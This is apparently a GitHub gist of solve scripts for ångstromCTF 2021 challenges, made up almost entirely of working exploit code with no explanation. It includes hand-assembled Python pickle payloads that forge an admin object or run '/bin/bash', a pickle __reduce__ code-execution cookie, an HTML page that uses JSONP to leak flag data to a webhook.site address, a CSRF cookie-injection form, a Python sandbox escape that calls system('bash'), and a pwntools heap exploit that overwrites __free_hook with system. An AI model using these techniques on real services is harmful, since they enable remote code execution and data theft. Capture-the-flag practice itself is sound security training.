-
-
Save kmh11/414313f2d4d741417e28f3877fb08edb to your computer and use it in GitHub Desktop.
ångstromCTF 2021 solve scripts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gunzip -c /problems/2021/archaic/archive.tar.gz |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MARK = b'(' # push special markobject on stack | |
STOP = b'.' # every pickle ends with STOP | |
POP = b'0' # discard topmost stack item | |
POP_MARK = b'1' # discard stack top through topmost markobject | |
DUP = b'2' # duplicate top stack item | |
FLOAT = b'F' # push float object; decimal string argument | |
INT = b'I' # push integer or bool; decimal string argument | |
BININT = b'J' # push four-byte signed int | |
BININT1 = b'K' # push 1-byte unsigned int | |
LONG = b'L' # push long; decimal string argument | |
BININT2 = b'M' # push 2-byte unsigned int | |
NONE = b'N' # push None | |
PERSID = b'P' # push persistent object; id is taken from string arg | |
BINPERSID = b'Q' # " " " ; " " " " stack | |
REDUCE = b'R' # apply callable to argtuple, both on stack | |
STRING = b'S' # push string; NL-terminated string argument | |
BINSTRING = b'T' # push string; counted binary string argument | |
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes | |
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument | |
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument | |
APPEND = b'a' # append stack top to list below it | |
BUILD = b'b' # call __setstate__ or __dict__.update() | |
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args | |
DICT = b'd' # build a dict from stack items | |
EMPTY_DICT = b'}' # push empty dict | |
APPENDS = b'e' # extend list on stack by topmost stack slice | |
GET = b'g' # push item from memo on stack; index is string arg | |
BINGET = b'h' # " " " " " " ; " " 1-byte arg | |
INST = b'i' # build & push class instance | |
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg | |
LIST = b'l' # build list from topmost stack items | |
EMPTY_LIST = b']' # push empty list | |
OBJ = b'o' # build & push class instance | |
PUT = b'p' # store stack top in memo; index is string arg | |
BINPUT = b'q' # " " " " " ; " " 1-byte arg | |
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg | |
SETITEM = b's' # add key+value pair to dict | |
TUPLE = b't' # build tuple from topmost stack items | |
EMPTY_TUPLE = b')' # push empty tuple | |
SETITEMS = b'u' # modify dict by adding topmost key+value pairs | |
BINFLOAT = b'G' # push float; arg is 8-byte float encoding | |
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py | |
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py | |
# Protocol 2 | |
PROTO = b'\x80' # identify pickle protocol | |
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple | |
EXT1 = b'\x82' # push object from extension registry; 1-byte index | |
EXT2 = b'\x83' # ditto, but 2-byte index | |
EXT4 = b'\x84' # ditto, but 4-byte index | |
TUPLE1 = b'\x85' # build 1-tuple from stack top | |
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items | |
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items | |
NEWTRUE = b'\x88' # push True | |
NEWFALSE = b'\x89' # push False | |
LONG1 = b'\x8a' # push long from < 256 bytes | |
LONG4 = b'\x8b' # push really big long | |
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] | |
# Protocol 3 (Python 3.x) | |
BINBYTES = b'B' # push bytes; counted binary string argument | |
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes | |
# Protocol 4 | |
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes | |
BINUNICODE8 = b'\x8d' # push very long string | |
BINBYTES8 = b'\x8e' # push very long bytes string | |
EMPTY_SET = b'\x8f' # push empty set on the stack | |
ADDITEMS = b'\x90' # modify set by adding topmost stack items | |
FROZENSET = b'\x91' # build frozenset from topmost stack items | |
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments | |
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks | |
MEMOIZE = b'\x94' # store top of the stack in memo | |
FRAME = b'\x95' # indicate the beginning of a new frame | |
# Protocol 5 | |
BYTEARRAY8 = b'\x96' # push bytearray | |
NEXT_BUFFER = b'\x97' # push next out-of-band buffer | |
READONLY_BUFFER = b'\x98' # make top of stack readonly | |
import struct | |
import base64 | |
payload = GLOBAL+b"db\n"+b"User\n"+BINPUT+b"\x00"+MARK+BINGET+b"\x00"+NONE+MARK+SHORT_BINUNICODE+b"\x08password"+NEWTRUE+SHORT_BINUNICODE+b"\x08username"+NONE+DICT+TUPLE2+BUILD+OBJ+BINGET+b"\x00"+NONE+MARK+SHORT_BINUNICODE+b"\x05admin"+NEWTRUE+SHORT_BINUNICODE+b"\x0f__getinitargs__"+NEWTRUE+DICT+TUPLE2+BUILD+POP+STOP | |
print(base64.b64encode(PROTO+b'\x04'+FRAME+struct.pack('<Q', len(payload))+payload).decode("ascii")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image | |
with Image.open("fish.png") as i: | |
p = i.load() | |
for w in range(i.width): | |
for h in range(i.height): | |
p[w, h] = (p[w, h][0], p[w, h][1], p[w, h][2], 255) | |
i.save('recovered.png') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, base64, pickle | |
class pwn: | |
def __reduce__(self): return (eval, ("[flag]",)) | |
print(requests.get("https://jar.2021.chall.actf.co", cookies={"contents": base64.b64encode(pickle.dumps(pwn())).decode()}).text) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function load (data) { | |
navigator.sendBeacon('https://webhook.site/6c038598-9475-4805-8bbb-36ffef233c88', data.items[0]) | |
} | |
if (!localStorage.done) { | |
w = window.open('jason_2.html') | |
setInterval(function () { | |
try { w.location.href } | |
catch (e) { localStorage.done = true; location.reload() } | |
}, 10) | |
} | |
</script> | |
<script referrerpolicy="no-referrer" src="https://jason.2021.chall.actf.co/flags?callback=load"></script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action="https://jason.2021.chall.actf.co/passcode" method="post" id="form"> | |
<input type="hidden" name="passcode" value="; SameSite=None; Secure"> | |
</form> | |
<script>form.submit()</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(python2 -c "print '1\nAAAA\x39\x05\nyes\n\n\n2'" && cat -) | ./raiid_shadow_legends |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bash -c 'while :; do python2 -c "print \"\x00\"" | ./login; done' | grep actf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MARK = b'(' # push special markobject on stack | |
STOP = b'.' # every pickle ends with STOP | |
POP = b'0' # discard topmost stack item | |
POP_MARK = b'1' # discard stack top through topmost markobject | |
DUP = b'2' # duplicate top stack item | |
FLOAT = b'F' # push float object; decimal string argument | |
INT = b'I' # push integer or bool; decimal string argument | |
BININT = b'J' # push four-byte signed int | |
BININT1 = b'K' # push 1-byte unsigned int | |
LONG = b'L' # push long; decimal string argument | |
BININT2 = b'M' # push 2-byte unsigned int | |
NONE = b'N' # push None | |
PERSID = b'P' # push persistent object; id is taken from string arg | |
BINPERSID = b'Q' # " " " ; " " " " stack | |
REDUCE = b'R' # apply callable to argtuple, both on stack | |
STRING = b'S' # push string; NL-terminated string argument | |
BINSTRING = b'T' # push string; counted binary string argument | |
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes | |
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument | |
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument | |
APPEND = b'a' # append stack top to list below it | |
BUILD = b'b' # call __setstate__ or __dict__.update() | |
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args | |
DICT = b'd' # build a dict from stack items | |
EMPTY_DICT = b'}' # push empty dict | |
APPENDS = b'e' # extend list on stack by topmost stack slice | |
GET = b'g' # push item from memo on stack; index is string arg | |
BINGET = b'h' # " " " " " " ; " " 1-byte arg | |
INST = b'i' # build & push class instance | |
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg | |
LIST = b'l' # build list from topmost stack items | |
EMPTY_LIST = b']' # push empty list | |
OBJ = b'o' # build & push class instance | |
PUT = b'p' # store stack top in memo; index is string arg | |
BINPUT = b'q' # " " " " " ; " " 1-byte arg | |
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg | |
SETITEM = b's' # add key+value pair to dict | |
TUPLE = b't' # build tuple from topmost stack items | |
EMPTY_TUPLE = b')' # push empty tuple | |
SETITEMS = b'u' # modify dict by adding topmost key+value pairs | |
BINFLOAT = b'G' # push float; arg is 8-byte float encoding | |
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py | |
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py | |
# Protocol 2 | |
PROTO = b'\x80' # identify pickle protocol | |
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple | |
EXT1 = b'\x82' # push object from extension registry; 1-byte index | |
EXT2 = b'\x83' # ditto, but 2-byte index | |
EXT4 = b'\x84' # ditto, but 4-byte index | |
TUPLE1 = b'\x85' # build 1-tuple from stack top | |
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items | |
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items | |
NEWTRUE = b'\x88' # push True | |
NEWFALSE = b'\x89' # push False | |
LONG1 = b'\x8a' # push long from < 256 bytes | |
LONG4 = b'\x8b' # push really big long | |
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] | |
# Protocol 3 (Python 3.x) | |
BINBYTES = b'B' # push bytes; counted binary string argument | |
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes | |
# Protocol 4 | |
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes | |
BINUNICODE8 = b'\x8d' # push very long string | |
BINBYTES8 = b'\x8e' # push very long bytes string | |
EMPTY_SET = b'\x8f' # push empty set on the stack | |
ADDITEMS = b'\x90' # modify set by adding topmost stack items | |
FROZENSET = b'\x91' # build frozenset from topmost stack items | |
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments | |
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks | |
MEMOIZE = b'\x94' # store top of the stack in memo | |
FRAME = b'\x95' # indicate the beginning of a new frame | |
# Protocol 5 | |
BYTEARRAY8 = b'\x96' # push bytearray | |
NEXT_BUFFER = b'\x97' # push next out-of-band buffer | |
READONLY_BUFFER = b'\x98' # make top of stack readonly | |
import struct | |
def solve(): | |
__import__('os').system('/bin/bash -u') | |
c = solve.__code__ | |
constructor = (c.co_argcount, c.co_posonlyargcount, c.co_kwonlyargcount, c.co_nlocals, c.co_stacksize, c.co_flags, c.co_code, c.co_consts, c.co_names, c.co_varnames, c.co_filename, c.co_name, c.co_firstlineno, c.co_lnotab) | |
convert = lambda args: b''.join(BININT1+bytes([arg]) if type(arg) is int else SHORT_BINUNICODE+bytes([len(arg)])+arg.encode('ascii') if type(arg) is str else BINBYTES+struct.pack('<i', len(arg))+arg if type(arg) is bytes else MARK+convert(arg)+TUPLE if type(arg) is tuple else NONE for arg in args) | |
payload = GLOBAL+b"__main__\n"+b"SnakeWindow\n"+NONE+MARK+SHORT_BINUNICODE+b"\x08__code__"+MARK+GLOBAL+b"__main__\n"+b"SnakeSave.__class__\n"+GLOBAL+b"__main__\n"+b"SnakeWindow.__code__\n"+TUPLE1+REDUCE+convert(constructor)+OBJ+DICT+TUPLE2+BUILD+EMPTY_TUPLE+REDUCE+STOP | |
import base64 | |
print(base64.b64encode(PROTO+b'\x04'+FRAME+struct.pack('<Q', len(payload))+payload).decode("ascii")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
args = 'posix', '' | |
constants.p1 = constants.math._︳loader_︳._︳class_︳, args | |
constants.math._︳loader_︳._︳class_︳._︳reduce_︳ = lambda _: constants.p1 | |
args = constants.math._︳loader_︳, 'posix' | |
constants.p2 = constants.math._︳loader_︳._︳class_︳.load_module, args | |
constants.math._︳spec_︳._︳class_︳._︳reduce_︳ = lambda _: constants.p2 | |
args = 'system', | |
constants.p3 = constants.math._︳spec_︳._︳getattribute_︳, args | |
constants._︳loader_︳._︳class_︳._︳reduce_︳ = lambda _: constants.p3 | |
args = 'bash', | |
constants._︳loader_︳._︳class_︳._︳call_︳ = lambda: 1 | |
constants.p4 = constants._︳loader_︳, args | |
constants.fractions.Fraction._︳reduce_︳ = lambda _: constants.p4 | |
shell = constants.half |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
p = process("./uql") | |
libc = ELF("/usr/lib/libc-2.33.so") | |
gdb.attach(p) | |
p.sendlineafter("> ", f"insert A insert {'B'*0x20} remove {'B'*0x20}") | |
p.sendlineafter("> ", "remove A display everything") | |
heap = u64(p.recv(8)) - 0x13570 | |
print(hex(heap)) | |
p.sendlineafter("> ", b"insert "+(b"/bin/bash&&"+b"A"*78+p64(heap)+p64(0x21000)+p64(0x21000)+p64(0)).ljust(0x88, b"A")+b" insert B") | |
p.sendlineafter("> ", f"insert {'D'*0x300} remove {'D'*0x300} display everything") | |
dump = p.recvuntil("\nInvalid query")[:-len("\nInvalid query")] | |
leak = u64(dump[dump.index(b'\x7f\x00\x00\x90')-5:dump.index(b'\x7f\x00\x00\x90')+3]) - 0x1c2090 | |
print(hex(leak)) | |
write = (b'E'*297+p64(leak+libc.symbols['__free_hook'])+p64(8)+p64(8)+p64(0)).ljust(0x300, b'E') | |
p.sendlineafter("> ", b"insert "+write+b" remove "+write) | |
p.sendlineafter("> ", b"insert C insert D insert E") | |
p.sendlineafter("> ", b"remove E "+(b" ".join(b"modify \x00\x00\x00\x00\x00\x00\x00\x00 to be "+bytes([c])+b" at "+str(i).encode() for i, c in enumerate(p64(leak+libc.symbols['system']+4))))) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment